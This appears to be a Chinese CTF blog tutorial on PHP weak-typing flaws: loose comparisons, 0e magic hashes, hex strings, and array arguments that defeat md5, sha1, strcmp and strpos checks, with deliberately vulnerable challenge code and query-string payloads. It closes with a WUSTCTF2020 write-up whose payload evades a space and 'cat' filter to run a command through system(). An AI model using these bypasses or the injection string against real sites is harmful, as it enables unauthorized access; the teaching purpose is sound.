基本概念
弱类型的语言对变量的数据类型没有限制,你可以在任何地时候将变量赋值给任意的其他类型的变量,同时变量也可以转换成任意地其他类型的数据。这时候在类型转化、不同类型比较、不合理地传参,会造成意外执行结果和绕过防御。
附上思维导图:
php 常见的转换主要就是int 转换为string ,string 转换为int 。 int转string:
1 2 3
$var = 5; 方式1:$item = (string)$var; 方式2:$item = strval($var);
string转int:intval()函数。
1 2 3
var_dump(intval('2')) //2 var_dump(intval('3abcd')) //3 var_dump(intval('abcd')) //0
intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。
php 有三个等号(===)和两个等号(==),区别在于三个等号比较时候,会比较变量类型再比较值,两个等号会转化为同一类型再比较。
1 2 3 4 5
<?php var_dump(1 == '1a');//true var_dump(null==false);//true var_dump(0==false);//true var_dump(0==null);//true
比较操作符
整形与字符串比较
整形与字符串比较时,会将字符串转为整形再比较,转化规则为从字符串左边开始进行转换直到遇到非数值的字符。
hash比较
当符合\d+e\d+
的字符串,会将这种字符串解析为科学计数法,例如:0e1=0*10=0
如果 哈希计算结果 是以 0e 开头,在做比较的时候,可以用这种方法绕过
1 2 3 4 5 6 7
<?php var_dump('0e481036490867661113260034900752' == '0' ); var_dump('0e509367213418206700842008763514' == '0e481036490867661113260034900752' ); var_dump(md5('240610708' ) == md5('QNKCDZO' )); var_dump(md5('aabg7XSs' ) == md5('aabC9RqS' )); var_dump(sha1('aaroZmOk' ) == sha1('aaK1STfY' )); var_dump(sha1('aaO8zKZF' ) == sha1('aa3OFF9m' ));
十六进制转换
php7版本以下,字符串以0x开头时,会将字符串转化为十进制再比较。
1 2
<?php var_dump('0xccccccccc' == '54975581388' );
例题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
<?php error_reporting(0 ); function noother_says_correct ($temp) { $flag = 'flag{test}' ; $one = ord('1' ); $nine = ord('9' ); $number = '3735929054' ; for ($i = 0 ; $i < strlen($number); $i++) { $digit = ord($temp{$i}); if ( ($digit >= $one) & ;& ($digit <= $nine) ) { return "flase" ; } } if ($number == $temp) return $flag; } $temp = $_GET['password' ]; echo noother_says_correct($temp);
password的字符串值中不能包含1-9的数值,可以含有0,将3735929054转为16进制结果为:deadc0de,传入?password=0xdeadc0de,即可绕过。
内置函数的参数松散型
调用函数时传递给函数无法接受的参数,导致意外的绕过。
md5()
php的md5( string $str[, bool $raw_output = FALSE] )
,md5()函数的需要一个string类型的参数。当传入一个array时,md5()不会报错,无法求出array的md5值,结果为NULL, 这就会导致任意2个array的md5值都会相等。
1 2 3 4
<?php $a= array ('1' ); $b= array ('2' ); var_dump(md5($a)===md5($b));
例题:
1 2 3 4 5 6 7 8 9 10 11 12
<?php error_reporting(0 ); $flag = 'flag{test}' ; if (isset ($_GET['username' ]) and isset ($_GET['password' ])) {if ($_GET['username' ] == $_GET['password' ])print 'Your password can not be your username.' ;else if (md5($_GET['username' ]) === md5($_GET['password' ]))die ('Flag: ' .$flag);else print 'Invalid password' ;} ?>
1)传入两个数组参数
1
?username[]=1&password[]=2
2)MD5值相同
1 2
username=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 password=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
sha1()
PHP的sha1( string $str[, bool $raw_output = false] )
也无法处array类型的参数。 例题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php $flag = "flag" ; if (isset ($_GET['name' ]) and isset ($_GET['password' ])){ if ($_GET['name' ] == $_GET['password' ]) echo 'Your password can not be your name!' ; else if (sha1($_GET['name' ]) === sha1($_GET['password' ])) die ('Flag: ' .$flag); else echo 'Invalid password.' ; } else echo 'Login first!' ; ?>
传入两个不同值得数组类型参数即可,name[]=1&password[]=3
。
strcmp()
strcmp( string $str1, string $str2)
,二进制安全字符串比较,如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 当传入参数为数组时,会返回NULL,NULL==0。
1 2 3 4
<?php $a= ['2' ]; $b= "1" ; var_dump(strcmp($a,$b)==0 );
例题:
1 2 3 4 5 6 7 8 9
<?php $flag = "flag{xxxxx}" ; if (isset ($_GET['a' ])) {if (strcmp($_GET['a' ], $flag) == 0 ) die ('Flag: ' .$flag);else print 'No' ;} ?>
传入 a[]=
。
switch()
如果 switch 是数字类型的 case 的判断时,switch 会将参数转换为 int 类型。
1 2 3 4 5 6 7 8 9 10 11 12
<?php $i ="2qw" ; switch ($i) { case 0 : case 1 : case 2 : echo "2" ; break ; case 3 : echo "3" ; } ?>
in_array()
in_array( mixed $needle, array $haystack[, bool $strict = FALSE] )
,检查数组中是否存在某个值,默认使用松散型来判断$needle是否在数组$haystack中,如果设置$strict = true,则在比较时会判断类型是否相等。
1 2 3 4
<?php $array=[0 ,1 ,2 ,'3' ]; var_dump(in_array('abc' , $array)); var_dump(in_array('1bc' , $array));
array_search()
array_search( mixed $needle, array $haystack[, bool $strict = false] )
,在数组中搜索给定的值,如果成功则返回首个相应的键名 。默认为松散比较比较,不判断类型是否相等。
1 2 3 4 5
<?php $arrayName = [1 ,"3" ]; $key="1a" ; var_dump(array_search($key, $arrayName));
strpos()
strpos( string $haystack, mixed $needle[, int $offset = 0 ] )
,返回 $needle 在 $haystack 中首次出现的数字位置,如果没找到将返回false,当传入的参数$haystack为数组时,将返回NULL,NULL!==false。
例题:
1 2 3 4 5 6 7 8 9 10
<?php $flag = "flag" ; if (isset ($_GET['nctf' ])) { if (@ereg ("^[1-9]+$" , $_GET['nctf' ]) === FALSE ) echo '必须输入数字才行' ; else if (strpos ($_GET['nctf' ], '#biubiubiu' ) !== FALSE ) die ('Flag: ' .$flag); else echo '骚年,继续努力吧啊~' ; }
既要是纯数字,又要有’#biubiubiu’,strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]=
那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求。
is_numeric()
PHP提供了is_numeric函数,用来变量判断是否为数字。支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串。
例题1:
1 2 3 4 5
<?php $temp = $_GET['password' ]; is_numeric($temp)?die ("no numeric" ):NULL ; if ($temp>1336 ){echo $flag;
payload
例题2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<?php show_source(__FILE__ ); $flag = "flag{xxxxxxx}" ; if (isset ($_GET['time' ])){ if (!is_numeric($_GET['time' ])){ echo 'The time must be number.' ; }else if ($_GET['time' ] < 60 * 60 * 24 * 30 * 2 ){ echo 'This time is too short.' ; }else if ($_GET['time' ] > 60 * 60 * 24 * 30 * 3 ){ echo 'This time is too long.' ; }else { sleep((int)$_GET['time' ]); echo $flag; } echo '<hr>' ; }
1).科学计数法
2).十六进制
例题
[WUSTCTF2020]朴实无华
robots.txt 得知 fAke_f1agggg.php 文件,访问一个假flag,响应头部有提示 fl4g.php文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
<?php header('Content-type:text/html;charset=utf-8' ); error_reporting(0 ); highlight_file(__file__ ); if (isset ($_GET['num' ])){ $num = $_GET['num' ]; if (intval($num) < 2020 && intval($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); } if (isset ($_GET['md5' ])){ $md5=$_GET['md5' ]; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); } if (isset ($_GET['get_flag' ])){ $get_flag = $_GET['get_flag' ]; if (!strstr($get_flag," " )){ $get_flag = str_ireplace("cat" , "wctf2020" , $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system($get_flag); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); } ?>
level1
1
intval($num ) < 2020 && intval($num + 1) > 2021
这里传入num=1e7即可。 在进行intval($num)时被截断成为1,1<2020 => True; 而$num+1时就解析为科学技术法,结果是10000001(也不知道位数对不对,随意啦)。 绕过了。
level2
一般绕过md5的方法有两种,一个是以0e开头,后面全是数字的结果,这个会被解析为科学计数法为0;另一个是利用数组绕过。 这里利用0e绕过:
1
md5('0e215962017' ) ==> “0e291242476940776845150308577824”
get flag 这里是个RCE,过滤了空格和cat。 空格用%09(tab)绕过,cat用反斜杠绕过,构造成ca\t:
1
fl4g.php?num=1e7&md5=0e215962017&get_flag=ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
参考文章:https://blog.spoock.com/2016/06/25/weakly-typed-security/
FROM :blog.cfyqy.com | Author:cfyqy
评论